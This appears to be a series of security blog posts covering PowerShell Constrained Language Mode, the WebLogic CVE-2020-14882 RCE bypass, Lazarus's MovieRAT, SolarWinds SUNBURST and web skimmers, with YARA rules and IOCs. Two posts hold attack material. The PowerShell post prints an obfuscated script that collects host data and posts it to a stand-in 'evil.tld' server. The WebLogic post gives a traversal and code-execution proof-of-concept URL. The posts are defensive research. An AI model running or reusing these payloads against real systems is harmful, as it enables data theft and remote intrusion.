In laymen's terms, every non-whitelisted type and its methods/properties are blocked from execution. Classes such as `System.Reflection.Assembly`/`System.Convert`/`System.Runtime.CompilerServices` and many more are out-of-reach for threat actors, making code injection or fileless attacks that rely on additional PEs much more difficult.

![202101-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_2_ec73ef8561.png)

 

### Prohibit Complex Scripts from Executing

Given the above limitations, this does mean that legitimate complex scripts may not be able to execute correctly. For instance, if your organization uses a script that utilizes WinForm or WPF (Windows Presentation Framework), those will not work at all.

![202101-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_3_80ad190a95.png)

Consequentially, modules are affected by this whitelisting system as well. Modules that rely on created types or non-whitelisted type calls will not load properly.

![202101-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_4_aa876d7833.png)

Therefore, it is crucial to **double-check your organization's scripts** (if you have any) *before* enrolling this policy to your endpoints.

 

### Require Explicit Feature Enrollment

Since, by default, this language mode is an opt-in feature, the user would either have to call `$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"` at the beginning of each session or add `__PSLockdownPolicy` to the system environment variables (**DO NOT** do this for production. [See the section below](#beware-of-pslockdownpolicy). Neither of which is ideal and should only be used for debugging, unit testing, or for general testing purposes only.

Instead, the administrator(s) of your organization should deploy via WDAC (Windows Defender Application Control) on Windows 10+ *or* via AppLocker on Windows 7+. When implemented this way, the attacker will first have to bypass WDAC or AppLocker before gaining full control of a standard PowerShell session. A guideline regarding the deployment for individual or mass number of endpoints can be found under the [Application Control for Windows](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control) article on Microsoft Docs.

 

### Effective Against Scripts, not Standard Cmdlets

It must be made clear that merely enabling Constrained Language Mode is not enough to mitigate the risks PowerShell can bring. While restricting users to a lower-privileged language mode ensures no custom .NET assemblies or code can be executed, this does not stop attackers from crafting malicious scripts from the built-in cmdlets alone. For example, an attacker may still be able to craft a script that collects relevant intel about the computer and send it back to their C2 station.

The following, as an example, will continue to run fine under a PowerShell session with Constrained Language mode enabled.

```ps1
Start-Job -ScriptBlock {
 while($true){
 # MAC address collection
 .("{1}{3}{2}{0}" -f 'ariable', 'S', 't-V', 'e') -Name ("{1}{0}" -f 'ata', 'd') -Value (.("{3}{2}{0}{1}" -f 'Ada', 'pter', 'Net', 'Get-') | .("{1}{0}" -f 'ect', 'sel') ("{1}{0}{3}{2}" -f 'erfac', 'Int', 's', 'eAlia'), ("{0}{1}{2}" -f 'MacA', 'd', 'dress') | &("{3}{2}{0}{1}" -f 'r', 'tTo-Json', 'e', 'Conv') -Compress) > $null
 # OSs + username collection
 .("{2}{0}{1}" -f '-', 'Variable', 'Set') -Name ("{0}{1}" -f 'd', 'ata') -Value (${D`ATa} + (.("{0}{2}{3}{1}" -f 'Ge', 'nce', 't-CimInst', 'a') ("{1}{0}{3}{2}" -f 'ting', 'Win32_Opera', 'em', 'Syst') | .("{0}{1}" -f 'se', 'lect') ("{0}{1}" -f 'na', 'me'), ("{1}{0}" -f 'me', 'CSNa') | &("{2}{3}{1}{0}{4}" -f 'o-Js', 'T', 'Conve', 'rt', 'on') -Compress)) > $null
 # WAN IP collection
 &("{0}{1}{2}{3}" -f 'Set-', 'Vari', 'abl', 'e') -Name ("{1}{0}" -f 'ta', 'da') -Value (${D`AtA} + ((.("{1}{0}" -f 'r', 'iw') -useb ("{1}{0}{2}" -f 'fig', 'ifcon', '.me') -user ("{0}{1}" -f 'cur', 'l'))."cO`NTe`Nt")) > $null
 # Saves data to a temporary file (usually this is done in-memory by threat actors, but in-memory execution purely based on existing cmdlets is either impossible or very difficult)
 .("{1}{0}{2}" -f '-Variabl', 'Set', 'e') -Name ('a') -Value ("$env:temp\$(New-Guid).txt")
 ${Da`Ta} | &("{1}{2}{0}" -f 'le', 'O', 'ut-Fi') ${a}
 # Compresses the file
 &("{3}{0}{2}{1}" -f 'ompr', 'Archive', 'ess-', 'C') -De "$a.zip" -Co ("{0}{1}" -f 'Op', 'timal') -Lit ${a}
 # Sends it back to the C2 station
 &("{1}{0}" -f 'r', 'iw') ("{0}{2}{3}{4}{1}" -f 'h', '00', 'ttp://evil', '.tld:', '80') -method ("{1}{0}" -f 'st', 'po') -body (.("{1}{0}{2}" -f 'Co', 'Get-', 'ntent') -Lit "$a.zip") > $null
 &("{2}{1}{0}" -f 'leep', 't-S', 'Star') -Seconds 2
 }
}
```

Additionally, attackers may still be able to call external resources to achieve their goal, such as achieving persistence via `schtask` or placing additional payloads under `shell:startup`. Remember, Constrained Language mode does **NOT** block most existing cmdlets from functioning; in other words, it limits what the threat actor has on their disposal, but does not mean that they cannot make do with vanilla cmdlets or standard Windows applications.

 

#### Beware of `__PSLockdownPolicy`

Aside from weaponizing existing cmdlets, if the admins had "enabled" the language feature via `__PSLockdownPolicy`, then it would be trivial for attackers with administrative privileges to restore the language policy. Let's take a look at what this environment variable actually does.

![202101-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_5_707aff90b6.png)

We'll see that it has brought us to the `SystemPolicy` class under the `wldpNativeMethods.cs` file. In various articles that reference this environment variable, they would instruct the administrator to set the `__PSLockdownPolicy` variable to `4`. A value of 4 corresponds with the `WLDP_LOCKDOWN_UMCIENFORCE_FLAG` constant, which indicates the enforcement of UMCI (User-mode Code Integrity).

![202101-6.gif](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230069/202101_6_2a4f7bdb5c.gif)

The call's parent method happens to be named `GetDebugLockdownPolicy`, which indicates that this behavior was meant to be a debug feature, rather than something that should be in a production environment.

![202101-7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230072/202101_7_4f3622def2.png)

This theory is further backed up by the statement made by [Matt Graeber](https://twitter.com/mattifestation/status/921509830644269062), a renowned security researcher well-versed in WDAC. Further research also shows this behavior was mentioned by the PowerShell team in its [official post regarding Constrained Language Mode as well](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/):

> As part of the implementation of Constrained Language, PowerShell included an environment variable for debugging and unit testing called `__PSLockdownPolicy`. While we have never documented this, some have discovered it and described this as an enforcement mechanism. This is unwise because an attacker can easily change the environment variable to remove this enforcement. In addition, there are also file naming conventions that enable FullLanguage mode on a script, effectively bypassing Constrained Language.

It must be emphasized that administrators should **NOT** deploy this to their endpoints as a way to enable Constrained Language mode - and be extra mindful when reading through articles regarding security features.

 

### Compatibility with Legacy OSs

Another thing to consider before rolling this feature out to endpoints is legacy OSs. As mentioned at the beginning of this post, Constrained Language mode is only available on PowerShell 3.0 onwards - and Windows 7 ships with PowerShell 2.0 by default.

![202101-8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230074/202101_8_6103f884e7.png)

While it is possible to install WMF 5.1 on older systems such as Windows 7, these systems likely ship with PowerShell 2.0 as its core component as well, which is susceptible to *downgrade attacks*.

All the attacker needs to do is, instead of starting a standard PowerShell 5.1 session, spawn a PowerShell 2.0 session using `PowerShell.exe -Version 2`. Since `ConstrainedLanguage` mode doesn't exist in that version, it will simply fallback to using `FullLanguage`.

![202101-9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230075/202101_9_7d51c2552d.png)

This is much less of a problem on Windows 10, as PowerShell 5.1 is shipped with the system by default and 2.0 can be removed by using `Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root`. After then, any attempts to launch PowerShell v2 will result in an error message.

```text
PS C:\> powershell -v 2
Encountered a problem reading the registry. Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine. The Windows PowerShell 2 engine is not installed on this computer.
```

 

## Hypothetical Testing

To see how effective this mode is against hypothetical attacks, we ...

- gathered 141 recently-submitted unique PowerShell samples as of Jan 27th, 2021.
 - These samples were randomly chosen and were not handpicked (aside from picking out invalid samples that aren't `*.ps1` scripts) in any way.
- executed the scripts via `ls -File | %{start-job -scr {iex $args[0]} -arg $_.FullName}`.
- ran these samples on a system with `ConstrainedLanguage` mode enabled.
- ran these samples on a Windows 10 (build 19042) system with a non-elevated PowerShell session.
 - Elevation is taken out of the equation as attackers would have to escalate its privilege first, and by that point there will be bigger problems to worry about.

![202101-10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230077/202101_10_0e10676b7f.png)

 

In our testing,

- `ConstrainedLanguage` blocked ...
 - 100% (141/141) of the samples from executing properly.
 - ... as in reaching their intended goal of launching a TCP shell, loading its next-stage payload, creating usable persistence, etc.
 - 51% (72/141) of the samples that had attempted to create a non-whitelisted type.
 - 50% (71/141) of the samples that had attempted to invoke a method on non-whitelisted type.
 - 26.9% (38/141) of the samples that had attempted to convert a value into a non-whitelisted type.
 - 2.8% (4/141) of the samples that had attempted to set a property on a non-whitelisted type.
- `ConstrainedLanguage` failed to block ...
 - 0.7% (1/141) of the samples that had managed to create persistence entries.

 

## Conclusion

Since PowerShell is now [an integral part](https://support.microsoft.com/en-us/windows/powershell-is-replacing-command-prompt-fdb690cf-876c-d866-2124-21b6fb29a45f) of modern Windows OSs, sysadmins should not underestimate the risks that PowerShell can bring to the organization.

In the article, we went through the benefits and drawbacks of `ConstrainedLanguage` and how it performs in a hypothetical test. By enabling the engine feature, the risk of PowerShell-introduced exploitation is greatly lowered - if enrolled properly. Organizations should also consider whether or not the reduced availability of modules and or scripts is worth the tradeoff before enrolling this language policy.

A Deep Dive into PowerShell's Constrained Language Mode

圖片來源：[Pixabay](https://pixabay.com/photos/toys-pony-my-little-pony-horse-4968006/)

## 緣起

WebLogic 是美商 Oracle 的主要產品之一，係商業市場上主要的 Java（J2EE）應用伺服器軟體（application server）之一。於 2020 年爆出高風險漏洞 CVE-2020-14882 與 CVE-2020-14883，其中，CVE-2020-14882 的 CVSS 3.1 評分更高達 9.8，屬於嚴重（Critical）等級之漏洞。

攻擊者可利用漏洞，組合惡意指令，使未經授權的請求繞過 WebLogic 後台登入等限制，最終可以遠端執行代碼攻擊（Remote Code Execution），因此攻擊者可輕易的利用此漏洞發起攻擊。

 

## 技術分析

我們從下圖的漏洞 POC 範例開始看起。

![blog_2101-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_1_7add5099fd.png)
_圖一、POC 攻擊範例_

 

首先 WebLogic 會對 url 進行檢查，當攻擊者試圖存取 console 路徑底下的檔案資源時（階段 A），會將其 url 與 WebLogic 設定檔（web.xml）內的網頁資源路徑進行比對，若該 url 屬於任一資源路徑，將不須驗證即可進行資源存取（階段 B）。其 web.xml 的檔案路徑為 wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml，如下圖所示。

![blog_2101-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_2_b9ab148ed5.png)
_圖二、web.xml 內容_

 

再來，```http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal``` 會先進行一次 url decode，將 %25 轉成 %，所以該 url 會變成 ```http://127.0.0.1:7001/console/images/%2E%2E%2Fconsole.portal```（階段 C）。

但是在 UIServletInternal.getTree 函式中，WebLogic 又會做再一次 url decode，將 %2E%2E%2F 轉為 ../，於是 url 變成```http://127.0.0.1:7001/console/images/../console.portal```，且後續的操作中 WebLogic 都沒有對路徑進行權限檢查，所以產生了跨目錄穿越攻擊（Directory Traversal）的漏洞。

WebLogic Server 處理後台管理（console）的請求時，會呼叫 BreadcrumbBacking().init 函式進行處理（階段 D）。當 url 中含有 handle 參數時，會將 handle 拆解成 class 和 argument。以 POC 為例，class 就會是 ```com.tangosol.coherence.mvel2.sh.ShellSession()```（階段 E），argument 則是 ```"java.lang.Runtime.getRuntime().exec(%27whoami%27);"```（階段 F）。

後續，會將 argument 傳給 class 的 constructor ，而 ShellSession 函式會再把 argument 傳給 MVELInterpretedRuntime 函式中，最後透過反射執行 argument 中內含的惡意指令，也就是 POC 範例中的 whoami。

 

## 修補插曲

但僅憑跨目錄穿越攻擊、Unauthorized RCE 等問題，何以稱之為「年度最慘漏洞（Most Epic Fail）」？

Oracle 於 2020 年 10 月釋出修補程式，但細究其修補的方法，發現 Oracle 利用黑名單的方式過濾 url 參數，如下圖所示。

![blog_2101-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433542/blog_2101_3_67ba9cf2c5.png)
_圖三、Oracle 透過黑名單修補 CVE-2020-14882_

 

#### 利用黑名單方式過濾，會有什麼問題呢？

只要利用不在黑名單內的 %252e%252e，就可以成功繞過（Bypass）已修補程式中的 url 檢查。

眾多安全研究人員於短時間內發現該問題並通報 Oracle，該漏洞也被編號為 CVE-2020-14750，如下圖所示。此錯誤的漏洞修補方式，也使得 CVE-2020-14882 成功入圍 2020 年 [Pwnie Award Most Epic Fail](https://pwnies.com/nominations/active/most-epic-fail/oracle-weblogic-server-co-oracle/) 項目。

![blog_2101-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_4_677f062e72.png)
_圖四、眾多研究員回報 CVE-2020-14750_

 

漏洞修補是一門深奧的學問，以 CVE-2020-14882 為例，其成因包含對檔案路徑存取控管不確實、對路徑做兩次的 url decode 及後台管理程式提供代碼執行。但 Oracle 一開始只修補兩次的 url decode 問題，更不用說其修補的方式為黑名單限制。因漏洞修補不確實而產生了更多的漏洞，所以不可不慎。

 

## 影響層面

攻擊者利用此漏洞互相搭配，不須登入即可遠端指令執行，進而產生憑證竊取（Credential Dump）、橫向移動（Lateral Movement）等攻擊行為。

- 受影響產品：WebLogic Server
- 受影響版本：10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

 

## 防護建議

- 更新 Oracle 官方最新修正 [patch](https://www.oracle.com/security-alerts/cpuoct2020.html)。
- 惡意 payload 檢查，例如檢查 console.portal 和 payload 是否帶有 ```handle=...``` 參數，或是直接關閉 console.portal 和 payload 的 handle 功能。
- 匯入以下 Yara 偵測規則，確認是否存在利用該漏洞的惡意程式。

```
rule CVE_2020_14882 {
 meta:
 author = "TeamT5"
 description = "CVE-2020-14882 exploit"
 strings:
 $resource1 = "console/bea-helpsets/"
 $resource2 = "console/framework/skins/wlsconsole/images/"
 $resource3 = "console/framework/skins/wlsconsole/css/"
 $resource4 = "console/framework/skins/wlsconsole/js/"
 $resource5 = "console/framework/skeletons/wlsconsole/css/"
 $resource6 = "console/framework/skeletons/wlsconsole/js/"
 $resource7 = "console/css/"
 $resource8 = "console/common/"
 $resource9 = "console/images/"

 $console1 = "console.portal"
 $console2 = "consolejndi.portal"
 
 $handle = "handle="

 condition:
 any of ($resource*) and 1 of ($console*) and $handle
}
```

![blog_2101-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_5_8a00e312e3.png)
_圖五、透過 Yara 偵測規則可有效偵測 CVE-2020-14882 exploit_

年度最慘漏洞！深入探究 Oracle WebLogic CVE-2020-14882

圖片來源：[Pixabay](https://pixabay.com/illustrations/the-company-cryptocurrency-mining-3338207/)

## 摘要
TeamT5 近期掌握情資，北韓 APT 駭客 Lazarus 開發出 macOS 作業系統的惡意程式 MovieRAT，並試圖攻擊虛擬貨幣的使用者，藉此盜取帳戶內的虛擬貨幣。

## 技術分析
TeamT5 透過情資管道取得惡意樣本（53d9af8829a9c7f6f177178885901c01），其檔案名稱為 Esilet.dmg，是 macOS 的第三方應用程式安裝檔，如圖一所示。該樣本執行後，會連線至 esilet.com 網站，該網站為虛擬貨幣交易平台，但經過 TeamT5 深入追查後發現，esilet.com 於 2020 年 6 月 12 日註冊，因此可以確認為駭客近期所發動的攻擊行為，如圖二所示。

![2020-12-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607910258/2020-12-1_38f3073f52.png)
_圖一、Esilet.dmg 執行畫面_

 

![2020-12-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909875/2020-12-2_61901a7ea4.png)
_圖二、esilet.com 網域註冊時間_

 

esilet.com 是駭客特意架設的虛擬貨幣交易網站，並透過該網站的應用程式下載安裝連結來散佈惡意程式。根據網站的支援語系，推測駭客攻擊標的為英、法、德及中文的虛擬貨幣用戶，如圖三所示。

 

![2020-12-3](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909876/2020-12-3_c882e11ea8.png)
_圖三、esilet.com 支援英、法、德及中文語系_

 

Esilet.dmg 執行後，會和中繼站連線獲取 config，config 的連線特徵為 "C2 + /update/ + {platform}.json"，故 macOS 版本的 config 下載連結為 "https://esilet[.]com/update/darwin.json"。所下載的惡意程式經過 UPX 加殼，會存放於系統的暫存目錄後執行。經過分析，該惡意程式的通訊協議和 MoiveRAT 相同，故確定此惡意樣本是由 MovieRAT 改寫的變種程式。

 

![2020-12-4](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909876/2020-12-4_e77cf3db22.png)
_圖四、Esilet.dmg 下載 MovieRAT 的逆向分析截圖_

 

當 MovieRAT 成功執行後，其嘗試加入 Launch Daemons/Services，將 property lists 檔案 com.applex.services.agent.agent.plist 放置於 {HomeDirectory}/Library/LaunchAgents 目錄，若寫入失敗則會寫入至 /Library/LaunchDaemons 之中，藉此達到開機後惡意程式自動執行的持續控制手法，如圖五所示。

 

![2020-12-5](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909875/2020-12-5_82214f3ea6.png)
_圖五、將 plist 寫入開機執行設定之中_

 

其所連線的中繼站位址為固定並寫死（Hard Coding）於程式中，分別為 infodigitalnew.com、www.vinoymas.ch 及 sche-eg.org，如圖六所示。

 

![2020-12-6](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909875/2020-12-6_a9d7f08bae.png)
_圖六、惡意中繼站位址寫死於程式碼中_

 

樣本連線至中繼站後，駭客將會傳遞不同的指令碼（Command Code），樣本取得指令後會執行對應的動作，如上傳/下載檔案、指令執行及檔案/資訊回傳等，詳細資訊如圖七及表一所示。

 

![2020-12-7](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909880/2020-12-7_12bab7ef9f.png)
_圖七、指令碼逆向分析結果_

 
 

| 指令碼 | 描述 |
| -- | -- |
| 0x21279E | 從中繼站下載檔案並存放於特定路徑 | 
| 0x2AFCB2 | 取得主機資訊 |
| 0x38CE55 | Heartbeat |
| 0x3A65F8 | 字串(string)轉換為數字(integer) |
| 0x3A6A93 | 傳送HTTP封包至中繼站 |
| 0x3B187D | 空指令 |
| 0x484B81 | 上傳檔案至中繼站 |
| 0x48C82A | 透過HTTP從中繼站下載檔案|
| 0x48D6FC | 執行指令(新加入的指令碼)|
| 0x7FC0A4 | 執行指令並回傳結果 |

_表一、指令碼清單_

 

TeamT5 經由該樣本關聯至 MovieRAT 後門程式，MovieRAT 是個輕量化的後門控制程式，支援最基本的檔案上傳/下載、指令執行及程序操作等功能。通常被駭客用於成功入侵後的第二階段控制（2nd-stage RAT）之用。先前所掌握的 MovieRAT 後門為 Windows 惡意程式，會透過 HTTP 通訊協定與中繼站連線，所使用的 Cookie 具有特定格式。

根據 TeamT5 的情資，將 MovieRAT 定位到駭客組織 Lazarus 身上。Lazarus 為北韓的駭客族群，擁有多起攻擊金融產業的紀錄，尤其特別針對 SWIFT 跨國轉帳交易系統和 ATM 自動櫃員機系統進行攻擊。推測為了替北韓政權籌措資金，好發展武器與實驗，故多選擇金融產業和具有關鍵技術的私人企業進行攻擊。過往的攻擊行動中，會在惡意程式內參雜俄文，企圖混淆分析人員。近期則是開始大量入侵攻擊虛擬貨幣交易所，如 Bithumb、Youbit 及 Yapizon 等，造成上百萬美元的金額損失。

## IOCs（惡意攻擊指標）

|IOC|類型|
|-|-|
|53d9af8829a9c7f6f177178885901c01|MD5|
|ae9f4e39c576555faadee136c6c3b2d358ad90b9|SHA1|
|9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598|SHA256|
|9578c2be6437dcc8517e78a5de1fa975|MD5|
|d2a77c31c3e169bec655068e96cf4e7fc52e77b8|SHA1|
|dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156|SHA256|
|esilet.com|Domain|
|www.kurunzi.news|Domain|
|oasismagazine.africa|Domain|
|lerenmetsara.net|Domain|
|https://infodigitalnew.com/wp-content/plugins/top.php |URL|
|https://www.vinoymas.ch/wp-content/plugins/top.php |URL|
|https://sche-eg.org/plugins/top.php |URL|

## 影響與建議

 1. 透過 TeamT5 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/) 檢查是否有攻擊者活動跡象，ThreatSonar 支援 Windows、Linux 及 macOS 作業系統。
 2. 使用以下 yara rule 掃描主機系統，檢查是否存在 MovieRAT 後門程式。

 ```
 rule TeamT5_Lazarus_MovieRAT
 {
 meta:
 author = "TeamT5"
 description = "Lazarus - MovieRAT"
 strings:
 $cookie = "Cookie: _ga=%s%02d%d%d%02d%s; gid=%s%02d%d%03d%s" fullword
 $str_1 = "GA1.%d." fullword
 $str_2 = ".%d%05d%04d" fullword
 condition:
 all of them
 }
 ```
 
 ![2020-12-8](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909882/2020-12-8_34a68e7370.png)

 3. 可將前述的 IOC 清單匯入既有的資安設備中，進行偵測阻擋防禦之用。
 4. 更多 APT 駭客族群資訊，可參考 TeamT5 [ThreatVision](https://teamt5.org/tw/products/threatvision/) 情資平台。

macOS 用戶當心！北韓駭客 Lazarus 將目標瞄準虛擬貨幣交易用戶

圖片來源：[Pixabay](https://pixabay.com/photos/trojan-trojananisches-horse-craft-1700378/)

##### *知名 IT 監控平臺 SolarWinds 淪陷，近期已有多個採用該平臺的組織遭到攻擊*

## 說明

SolarWinds 在今年 3 月到 6 月間釋出 2019.4 HF 5 至 2020.2.1 版本的 SolarWinds Orion Platform 遭到駭客供應鏈攻擊，導致服務存在遠端執行後門程式，公開情資指出，這是來自俄羅斯攻擊族群 APT29 的針對性攻擊行動。

SolarWinds 已進行修補並釋出 Orion Platform 2020.2.1 HF 1，預計在 12 月 15 日釋出 2020.2.1 HF 2，建議各單位在 2020.2.1 HF 2 釋出後立即更新，此一版本不只修補了有問題的元件，也進一步提供安全措施。

FireEye 日前公布遭受駭客攻擊，提供的公開情資包含 SolarWinds 相關元件（SolarWinds.Orion.Core.BusinessLayer.dll），TeamT5 取得樣本並分析其中的惡意程式 SUNBURST。

![201215通報-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_1_207508801e.png)
_圖一、惡意程式的 Job Class 提供各種操作指令_

![201215通報-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_2_b31cd3e1e9.png)
_圖二、透過 HTTP 和 Orion Improvement Program（OIP）傳輸指令_

 

## 受影響的版本

- SolarWinds Orion Platform 2019.4 HF 5
- SolarWinds Orion Platform 2020.2 – 2020.2 HF 1

## 修補與防範建議

- 隔離 Orion server 直到 [SolarWinds](https://customerportal.solarwinds.com) 提供修補程式並安裝
- 於 ThreatSonar 檢查是否有使用 SolarWinds

 1. 點擊威脅狩獵功能
 2. 點擊 Certificates
 3. 搜尋 SolarWinds 的憑證 thumbprint，搜尋語法：

 thumbprint = 47D92D49E6F7F296260DA1AF355F941EB25360C4

 4. 點擊 Obj Cnt.下方數字，檢查是否有包含 Orion 名稱的項目

![201215通報-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_3_88a79a1fec.png)
_圖三、威脅狩獵功能搜尋 SolarWinds 的憑證_

![201215通報-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_4_5a8fdda638.png)
_圖四、搜尋 Orion 確認是否存在相關檔案_

 

## FireEye 公開的 IoC 資訊

- 中繼站 Domain 以及 IP

 

|IOC|類型|
|----|----|
|avsvmcloud[.]com|Domain|
|freescanonline[.]com|Domain|
|deftsecurity[.]com|Domain|
|thedoccloud[.]com|Domain|
|websitetheme[.]com|Domain|
|highdatabase[.]com|Domain|
|incomeupdate[.]com|Domain|
|databasegalore[.]com|Domain|
|panhardware[.]com|Domain|
|zupertech[.]com|Domain|
|13.59.205[.]66|IP Address|
|54.193.127[.]66|IP Address|
|54.215.192[.]52|IP Address|
|34.203.203[.]23|IP Address|
|139.99.115[.]204|IP Address|
|5.252.177[.]25|IP Address|
|5.252.177[.]21|IP Address|
|204.188.205[.]176|IP Address|
|51.89.125[.]18|IP Address|
|167.114.213[.]199|IP Address|


- 檔案 Hash（MD5）

|IOC|類型|
|----|----|
|02af7cec58b9a5da1c542b5a32151ba1|MD5 Hash|
|08e35543d6110ed11fdf558bb093d401|MD5 Hash|
|2c4a910a1299cdae2a4e55988a2f102e|MD5 Hash|
|846e27a652a5e1bfbd0ddd38a16dc865|MD5 Hash|
|b91ce2fa41029f6955bff20079468448|MD5 Hash|
|4f2eb62fa529c0283b28d05ddd311fae|MD5 Hash|
|56ceb6d0011d87b6e4d7023d7ef85676|MD5 Hash|


## 參考資料

- https://www.solarwinds.com/securityadvisory
- https://www.cert.govt.nz/it-specialists/advisories/solarwinds-orion-vulnerability-being-actively-exploited/
- https://www.ithome.com.tw/news/141651
- https://github.com/fireeye/sunburst_countermeasures

TeamT5 安全性通報－知名 IT 監控平臺 SolarWinds Orion 證實遭供應鏈攻擊

By Jason3e7 | 圖片來源：[Pixabay](https://pixabay.com/vectors/lock-security-credit-card-5459714/)

## 前言

近期於台灣發生多起信用卡盜刷事件，TeamT5 追蹤到幾起事件後深入調查，並於本文揭露側錄技術，以促進電商資訊安全，保護消費者的權益。

## 技術分析

TeamT5 分析近期數起信用卡盜刷事件，發現過往手法多為攻擊網站後再行 Dump Database，新的手法為存入資料庫之前，於前端程式或後端程式去側錄機敏資訊，以下將以知名 ASP.NET 平台的 CMS，DNN（DotNetNuke）作為範例，以前端與後端的攻擊手法分別說明。

- **後端程式側錄**

 利用高隱匿性的 IIS module，透過修改 config 被 IIS 載入後執行，可於該網站任意頁面側錄資訊。
經過一段時間收集機敏資訊後，攻擊者再透過其他後門程式，定期將機敏資訊帶走，清除蹤跡。

 運作原理拆解如下：


 1. IIS web.config 被新增一行資料以啟用新的 module（LoggerModule）
![202011-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146682/202011-1_6a6e70e4b2.jpg)
 2. 於 bin 資料夾底下也新增檔案 System.Logger.dll
![202011-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146684/202011-2_15be0c2208.jpg)
 3. 反編譯 System.Logger.dll 之後，檢查內容發現 module 利用 Application_BeginRequest 的特性，於網站每個頁面執行前，執行側錄程式，故不管哪個頁面的機敏資訊都能側錄。
![202011-3](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146681/202011-3_ebd6f3620b.jpg)
 4. 側錄過程於後端接收，故前端無法察覺
![202011-4](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146681/202011-4_1b178ba603.jpg)
 5. 側錄資訊
![202011-5](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146680/202011-5_bc97ae7951.jpg)

 

- **前端程式側錄**

 利用網站前端複雜的載入資源匿蹤，透過插入 javascript 於前端載入後執行，可於載入頁面側錄資訊。

 攻擊者可直接轉拋機敏資訊到遠端主機，或者於網站建立收集器，經過一段時間收集機敏資訊後，再透過其他後門程式，將機敏資訊帶走，清除蹤跡。

 運作原理拆解如下：


 1. 插入 JavaScript 到側錄機敏資訊頁面中，任意可載入資源的位置，在 http_server 設定接收主機（外部直接轉拋或內部隱匿留存），如下圖。
![202011-6](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146681/202011-6_33f67394c9.jpg)

 2. 如利用後端收集器接收，可參考下列圖片
![202011-7](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146684/202011-7_9904abacc1.jpg)

 3. 網站前端載入資源複雜，不易察覺
![202011-8](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146692/202011-8_d2c677c5c1.jpg)

 4. 側錄資訊
![202011-9](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146691/202011-9_ccfef7c3ab.jpg)

 

## 影響與建議

* 自動化或定期檢查程式碼是否被竄改，並做好版本控管
* 透過 TeamT5 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/) 檢查是否有攻擊者活動跡象
 * 檢查是否有後門程式、webshell
 * 是否有可疑連線 C2
* 使用以下 yara rule 掃描網站目錄，檢查是否存在側錄模組

```
rule IIS_Module_sniffer
{
	meta:
		author = "jason3e7"
		description = "detect IIS module sniffer"
		date = "20201110"
	strings:
		$c0 = "IHttpModule" wide ascii
		$c1 = "Application_BeginRequest" wide ascii
		$c2 = "Request" wide ascii
		$c3 = "Form" wide ascii
		$c4 = "StreamWriter" wide ascii
		$c5 = "WriteLine" wide ascii
		$c6 = "Write" wide ascii
	condition:
		$c0 and $c1 and ($c2 and $c3) and $c4 and ($c5 or $c6) 
}
```

打倒夢靨！電子商務安全不再沉睡！！信用卡與個資竊取案例分析

In the final part of our Information Operation White Paper, we will demonstrate China's Information Operations (InfoOps) targeting the global audience. The first part of the report displays a brief overview of its overt operations which are carried out by state media, embassies, and diplomats. Then we look into the covert operations, which can be observed in pro-China fan pages, content farms, and spam botnet. Last but not least, we provide the case study of "Operation Juiker" on Taiwan's largest forum PTT, which suggests the possibility of the APT (Advanced Persistent Threat) actors entering the threat landscape.

#### Key Takeaways

1. China has escalated the level of overt InfoOps via state-media and diplomats.
 
 
Chinese state media, diplomats, and embassies are the main actors of Chinese overt InfoOps. They shoulder the task to polish the image of the regime and propagate the narrative of the Chinese Communist Party (CCP). It is noteworthy that their official accounts have obtained an unexpected number of followers in recent years. For instance, four Chinese state media are included in the top 20 most-followed pages on Facebook. Their main audience, apart from the Chinese citizens, are overseas Chinese diaspora, which many of them have rights to vote in countries such as the U.S., Canada, and Australia, thus having the ability to influence a country's politics.
 
 
2. Covert InfoOps remain active on Western social media platforms.
 
 
